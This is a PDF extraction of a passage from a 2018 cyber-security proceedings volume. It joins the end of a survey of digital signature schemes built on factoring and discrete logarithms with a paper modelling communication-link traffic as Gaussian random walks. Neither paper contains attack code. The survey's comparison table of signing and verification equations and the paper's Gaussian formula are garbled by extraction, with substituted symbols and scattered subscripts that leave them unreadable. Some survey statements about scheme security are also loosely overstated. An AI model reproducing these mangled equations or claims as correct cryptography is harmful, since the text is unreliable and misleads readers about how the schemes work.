main phases. First phase is key generation. It includes the choice of two large prime
numbers and generates two keys, public and private keys. The second phase is
digital signature generation in which the message, keys, and modular arithmetic are
used to form the signature. The third is signature verification phase, where the
message is checked against the original message using the verification equation, if
equation satisfies then verifier believes that message is indeed an authenticated
message, else message is considered to be altered.
The digital signatures were developed using both the hard problems. In 1994, Harn
[4] designed new digital signature scheme based on FAC and DL. After this, there
were various schemes based on both the hard problems. Extensive research has been
done to show that without knowing private key, attacker can forge the signature.

2 Review of Digital Signatures

2.1 L. Harn

There are several public key cryptosystems which are based on single cryptographic
assumption, such as factoring or discrete logarithms. In May 1994, Harn [4]
designed new scheme which is based on two hard problems, namely, FAC and DL.
To break this scheme attacker requires to solve Diffie–Hellman problem in a sub-
group of Zp as well as factoring a specific integer into product of two primes, both
of these problems are difficult. His scheme is based on two different cryptographic
assumptions for increasing the security and also maintaining the efficiency of
development. L. Harn maintains the computational time of the signature imple-
mentation that is maximum of RSA and ElGamal scheme.

2.2 He and Kiesler

The schemes which are based on single hard problem are not secure. It is known
that ElGamal scheme is less secure than RSA because computation of DL is easier
than the factorization. RSA schemes are efficient because it has message expansion
is one while in ElGamal message expansion is two. In July 1994, He and Kiesler [5]
designed two new signature schemes which are based on both the hard problems
that enhance the security. The message expansion in first version signature is two
but in second it is three.
The Digital Signature Schemes Based on Two Hard Problems … 495

2.3 N. Y. Lee and Hwang

In 1996 Lee and Hwang [6] showed that there is probability that the attacker can
forge the signatures of L. Harn schemes if he can solve DL modulo large prime
number. They showed that even if use of hash function there is possibility of attack.
The attack can be avoided if the condition that s′ is not allowed to equal to p′q′.
They proposed a modified L. Harn scheme which is based on both the hard
problems.

2.4 Z. Shao

Shao [7] designed two digital signature schemes in 1998. The security of these
signatures was equal to ElGamal and L. Harn signature schemes. There were some
drawbacks of ElGamal Scheme that are the size of public key is large, more
modulation was used, and every user uses his own public modulus. The substitution
attacks work on L. Harn signature scheme if one does not use one-way hash
function. On L. Harn scheme homomorphism attack gives private key x although
forging signature is not possible. If one wants to forge the signature then it is
necessary that one should able to find the cubic root modulo p − 1.
The Z. Shao scheme resists substitution and homomorphism attack. The effi-
ciency of Shao scheme is same as ElGamal and L. Harn scheme. In Z. Shao’s
scheme, only thing is that message expansion is three.

2.5 N. Y. Lee

The public key cryptographic algorithms are secure because there is no good
algorithm to solve the FAC and DL. Lee [8] in 1999 showed that the signatures
proposed by Z. Shao are not secure as he claimed. The security of Shao’s schemes
depends on only FAC and not DL. N. Y. Lee not proposed any scheme.

2.6 Z. Shao

Shao [9] in 2002 showed that there is forgery attack against Wei-Hua He’s sig-
nature scheme. If the attackers solve DL they can easily forge signature without
knowing private key of signer and this does not depend upon hardness of both FAC
and DL as claimed by Wei-Hua He. The task of designing new scheme based on
two hard problems was an open problem.
496 A. B. Nimbalkar

2.7 Shimin Wei

Wei [10] in 2004 tried to attack He–Kiesler’s scheme and showed that He–Kiesler
scheme does not resist his message attack. Based on this attack he designed new
scheme which resists such an attack and security based on two hard problems FAC
and DL. In 2007, Wei [11] improved Shao’s schemes [7] using quadratic residues
theory and proposed two new schemes based on two hard problems. Wei claimed
that his signatures resist Li_Xiao attack. The problem-solving quadratic equation is
equally hard as solving the FAC.

2.8 J. Zheng, Zuhua Shao, S. Huang, T. Yu

Zheng et al. [12] in 2008 showed that attacker can forge the Shimin Wei signature
schemes (2007). They showed that in Wei’s scheme, the universal forgery attack
can be possible and the two different messages (m) have same signature. Using
Wei’s scheme if we obtain the signature of one message then it is easy to obtain
signature of second message. This drawback can be remove by demanding
0 < m < p/2. They showed that universal forge attack can be done in less com-
putation than that of legal signer does. Also they showed that one can forge sig-
nature scheme for arbitrary message without knowing private keys. Hence the
security of Shimin Wei scheme is fails.

2.9 Ismail, Thate, Ahmad

Ismail et al. [13] designed a new scheme in 2008, which provides better security by
using hash function. The main aim of designing the scheme was to increase the
security using FAC and DL. They showed five different attacks that were resisting
their signature. But time complexity in verification phase of signature was
increased.

2.10 Swati Verma, Birendera Kumar Sharma

In the year 2012, Swati Verma modified the Wei [10] scheme. The security of their
scheme depends primarily on two things: Use of one-way hash functions and the
intractability of solution to both DL and FAC simultaneously. They claimed that
this is more secure than earlier Wei [10] scheme.
3 Table of Comparison of Digital Signature Based on FAC and DL
Scheme Signature Secret key Public key Signing equation Verification
Elgamal [3] {m(r, s)} x is < p y =≺x mod p m = xr + ks mod (p − 1) m  yr rs mod p
1 1
Harn Scheme [4] {m(k, r, s)} x is 1  x  p − 1 y =≺x mod p m1 − ks1 + X1r mod pA − 1 s T
m
A ¼ r yA mod pA
2 2 2 2 2
He and Kiesleirs [5] {m(r, s, c)} x1 is 1  x1  n y ¼ gx mod p m = xr + ts (mod p − 1) gm ¼ yr
r s
g2rx mod p
x ¼ x1 2 mod (p − 1)
2 2 2
Shao Scheme [7] {m(k, r, s)} x = 1 < x < (p1q1/2) þ x2 þ x2 Þ þ k2
y ¼ gx mod p x1 s þ xr ¼ mt1 þ ktðmod p1
q1 Þ yðs ¼ rm
g4ðmksxÞ mod p
ðx þ x1 Þ2 1 1 1 1 2 f 2 ðr r ; mÞ
Shao [9] {m(r1, r2, s)} R = p1q1 y¼g mod p ðx þ x Þ ¼ sðt þ t Þ þ f ðr1 ; r2 ; mÞ ðt þ t Þ mod R y r1s
r2 1 2
x is god ((x + x−1)2, R) = 1 2sf
g ðr1 ; r2 ; mÞ mod p
2 4 2 2 2
Wei’s Scheme [11] {m(r1, r2, s)} x is 1 < x < n y ¼ gx mod p mt−1 = xr1 +ts2 (mod (p − 1)) r1s
r2m ¼ yr
g2ms
 d c
Ismail et al. [13] {m(k, R, s)} x is 0 < x < n y ¼ gx mod p gs  yhðmÞ K R Rk ðmod pÞ
The Digital Signature Schemes Based on Two Hard Problems …

s ¼ xhðmÞ þ RhðmÞ4 þ khðmÞr ðmod pÞ

2 4 2 2
Swati Verma [10] {m(r1, r2, s)} x is 1 < x < n y ¼ gx mod p h(r1, r2, m)T−1 = xr1 + Ts2(mod p − 1) hðr1
r2
mÞ2
r1s
r2 ¼ yr1
g2hðr1
r2
mÞs
497
498 A. B. Nimbalkar

4 Conclusion

The digital signatures based on single hard problem either Factorization or Discrete
Logarithm may not secure in future because computation can be possible. L. Harn
and He-Keisler gives the idea that if we combine these two problem then security
become more. Then there are many signature based on this two hard problem. Some
of signature can be forge without solving the hard problem. We make the com-
parative analysis of all digital signature schemes which are based on two hard
problems like Factorization and Discrete Logarithm. As security increases the Time
complexity also increases. The RSA signature has message expansion 1. ElGamal
has message expansion 2 and L. Harn has message expansion 3, as he uses both
hard problems for enhancing the security.

References

1. Diffie W, Hellman ME (1976) New directions in cryptography. IEEE Trans Inf Theory
22:644–654
2. Rivest RL, Shamir A, Adleman L (1978) A method for obtaining digital signatures and public
key cryptosystems. Commun ACM 21:120–126
3. ElGamal T (1985) A public key cryptosystem and a signature scheme based on discrete
logarithms. IEEE Trans Inf Theory IT-31(4):469–472
4. Harn L (1994) Public-key cryptosystem design based on factoring and discrete logarithms.
IEE Proc Comput Digital Techn 141:193–195
5. He J, Kiesler T (1994) Enhancing the security of ElGamal’s signature schemes. IEE Proc
Comput Digital Technol 141:249–252
6. Lee NY, Hwang T (1996) Modified Harn signature scheme based on factoring and discrete
logarithms. IEE Proc Comput Digital Tech 143:196–198
7. Shao Scheme Z (1998) Signature scheme based on factoring and discrete logarithms. IEE
Proc Comput Digital Tech 145(1)
8. Lee NY (1999) Security of Shao’s signature schemes based on factoring and discrete
logarithms. IEE Proc Control Theory Appl 146(2)
9. Shao Scheme Z (2002) Digital signature scheme based on factoring and discrete logarithms.
Electr Lett 38(24), 21 Nov 2002 (Online No: 20021093)
10. Wei S (2004) A new digital signature scheme based on factoring and discrete logarithms.
Progr Crypt Int J Ser Eng Comput Sci 769:107–111
11. Wei S (2007) Digital signature scheme based on two hard problems. Int J Comput Sci Netw
Secur 7(12)
12. Zheng J, Shao Z, Huang S, Yu T (2008) Security of two signature schemes based on two hard
problems. In: Proceedings of the 11th IEEE international conference on communication
technology, pp 745–748
13. Ismail ES, Thate NMF, Ahmad RR (2008) A new digital signature scheme based on integer
factorization and discrete logarithm. J Math Stat 4(4):222–225. ISSN 1549-3644
Gaussian Tendencies in Data Flow
in Communication Links

Rudra Pratap Ojha, Dharm Raj, Pramod kumar Srivastava

and Goutam Sanyal

Abstract We have modeled data flow in communication link using random motion
of a particle, which results in a Gaussian pattern of traffic flow over a period of time.
The varying degrees of spectral deviation present a coherent model of data flow for
wired links. We have considered multiple link systems and presented an
n-dimensional representation of traffic model using a Gaussian function governed
by n-parameters. The model opens new insights toward analyzing and predicting
bandwidth requirements in communication links and their prospective failure.

Keywords Random walk
Gaussian distribution
Failure analysis

Reliability analysis

1 Introduction

Data flow model in communication link is of fundamental importance in under-

standing the bandwidth requirement and failure analysis. Existing models use
Poisson distribution to model traffic flow. Poisson distribution fails to make
accurate prediction about traffic flow density as it assumes a uniform probability of
occurrence of data bits within a given period of time. Poisson modeling fails to
properly capture the characteristics of traffic flow [1, 2]. Some packets are skipped
in case of Poisson random variable [3]. Another aspect of Poisson distribution is

R. P. Ojha (&)
D. Raj
P. K. Srivastava

Galgotias College of Engineering & Technology, Greater Noida, India
e-mail: [email protected]
D. Raj
e-mail: [email protected]
P. K. Srivastava
e-mail: [email protected]
R. P. Ojha
G. Sanyal
National Institute of Technology, Durgapur, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 499

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_48
500 R. P. Ojha et al.

that it takes into account variation of traffic density with time. Gaussian distribution
can take into account spatial variation in traffic density across various locations
along a network.
Several economic and technological decisions are driven by model of data flow.
Sometimes, the data flow shows an exponential increase over a period of time
leading to extensive development and increase in channels. A drop in the
requirement has negative consequences on communication industry particularly
when the related investment has been made. This happened in the context of
telecom crisis of 2002 when it was assumed that the exponential rise in traffic flow
would continue for several years [4]. A correct data flow model might have averted
the crisis.

2 Random Walk and Data Flow

Random processes show random motion. Data flow between communication links
is random which implies that we can model it in terms of random motion. We
consider two data nodes A and B connected by a wire with a sensor S. The sensor
S generates a value 1 when data is transferred between A and B and 0 if there is no

Fig. 1 Random walks

Gaussian distribution

Fig. 2 Gaussian distribution

profile in three dimensions
Gaussian Tendencies in Data Flow in Communication Links 501

data flow every second. We consider the density of 1 s and 0 s between A and
B. On carrying out a brief computational simulation of the process, we get a
Brownian motion as shown in Fig. 1, which shows a Gaussian distribution.

3 Gaussian Model of Data Flow

Random walk within a set of fixed constraints shows Gaussian distribution which is
given by the following equation [5]:

Fig. 3 a Gaussian density

profile of random bits with
time; b Gaussian density
profile of random bits with
frequency
502 R. P. Ojha et al.

1 ðxlÞ2
pðxÞ ¼ pffiffiffiffiffiffi e 2r2 ð1Þ
r 2p

pðxÞ is the probability density of a random variable, r is its spectral deviation,

“l” is the mean, and x is the dimension along which Gaussian distribution is being
measured. The graph shown in Fig. 2 is a plot of Eq. (1).
When we consider the data flow over a period of time between two nodes, we
get a Gaussian model. Figure 3a shows the graph of temporal traffic density with
respect to time, and Fig. 3b shows its Fourier representation.

Fig. 4 Correlation between

time domain and frequency
domain plots of traffic density
showed in Figs. 3a, b

Fig. 5 Gaussian density

profile of random bits with
time
Gaussian Tendencies in Data Flow in Communication Links 503

Fig. 6 The peaks of

Gaussian data points are
plotted separately showing a
set of Gaussian envelopes

Find the correlation between time domain and frequency domain shown in
Fig. 4. This also shows Gaussian nature.

4 Spatial Gaussian Distribution

Gaussian distribution can also be spatial in nature. The density of traffic along a
route can vary in a Gaussian manner at a particular instant of time. This is evident in
general traffic network when the density of vehicles in high at the crossroads and is
sparse at distances away from the main traffic junctions. Figure 5 shows a simu-
lation of traffic density along a network line. The same graph shows the Fourier
Transform.
The peaks of Gaussian distribution are taken and plotted in Fig. 6 which shows a
set of Gaussian envelopes.

5 Correlations to Existing Models

Figure 7 shows Traffic density along a network with time in Network Traffic of
Tata Communications Ltd., which shows a Gaussian distribution. The two sets of
data points are plotted and the envelope of the traffic density is similar to the graph
shown in Fig. 6 in distribution.
The Gaussian property is of more prominent nature. Although the empirical data
shows temporal distribution, the spatial distribution should have a similar profile.
504 R. P. Ojha et al.

Fig. 7 Traffic density along a network with time in network traffic

6 Conclusion

We have modeled data flow using random motion and Gaussian curve, which
reflects the detailed physical behavior of traffic in a communication link. We
considered various drivers which influence data flow and change the topography of
the Gaussian curve. The work started with computational models and finally, the
results were verified through empirical data.
The model can help in making a more accurate forecast about requirements of
data in communication link and help in failure analysis. The model can also be used
in exploiting low-density points along the network nodes. There are times when the
spectral deviation starts decreasing and the Gaussian curve for a certain link starts
taking the form of an impulse function. When the rate of change of spectral
Gaussian Tendencies in Data Flow in Communication Links 505

deviation starts varying at a rate beyond a cut off value, the prospects of link
breakdown or traffic jamming would go up. Thus, a Gaussian angle of traffic
density can open new dimensions in traffic analysis. In future, the failure analysis
helps in the study of reliability of the system.

References

1. Sunita K, Mukta N, Jiten M, Shilpa S (2001) Traffic characterization for heterogeneous

applications. ECPE 6504
2. Moore AW, Zuev D (2005) Internet traffic classification using Bayesian analysis techniques.
In: Proceedings of the 2005 ACM SIGMETRICS international conference on measurement and
modeling of computer systems, pp 50–60
3. Hohn N, Veitch D (2003) Inverting sampled traffic. In: Proceeding ACM internet measurement
conference, Miami, USA, pp 222–233, Oct 2003
4. Coffman KG, Odlyzko AM (2001) Internet growth: is there a”Moore’s law “for data traffic?”.
In: Abello J, Ardalos PMP, Resende GC (eds) Handbook of massive data sets. Kluwer
5. Reif F Fundamental of statistical and thermal physics

Author Biographies

Rudra Pratap Ojha is working as an Assistant Professor in Department of Information

Technology at Galgotias College of Engineering & Technology, Greater Noida. His qualifications
are BTech, MTech from Motilal Nehru National Institute of Technology, Allahabad, and PhD
(pursuing) from National Institute of Technology, Durgapur. He has published more than ten
journals and conferences research papers. His areas of interest are wireless sensor network, real
time system, mathematical modelling and simulation.

Dharm Raj is working as an Assistant Professor in Department of Information Technology at

Galgotias College of Engineering & Technology, Greater Noida. His qualifications are BTech,
MTech from IIIT, Allahabad, and PhD (pursuing) from Gautam Buddha University, Greater
Noida. He has published journals and conferences research papers. His areas of interest are NLP,
Image processing, mathematical modelling and simulation.

Pramod Kumar Srivastava is designated as an Assistant Professor in Department of

Mathematics. His qualifications are BSc, MSc, and PhD. He has published more than 15 journals
and conference research papers and ten books. He has experienced of 15 years in teaching and
research and along with PhD guidance. His areas of interest are wireless sensor network,
mathematical modelling and simulation.

Goutam Sanyal is designated as a Professor and Dean in Department of Computer Science and
Engineering. His qualifications are Bachelor’s of Engineering, Master’s of Technology, PhD
(Engineering), FIE (India), and MIEEE. He has more than 150 journal and research papers. He has
a work experience of 29 years in teaching and research and along with PhD guidance. His areas of
interest are wireless sensor network, computer architecture, computer graphics, computer vision,
image processing, VLSI, mathematical modelling and simulation.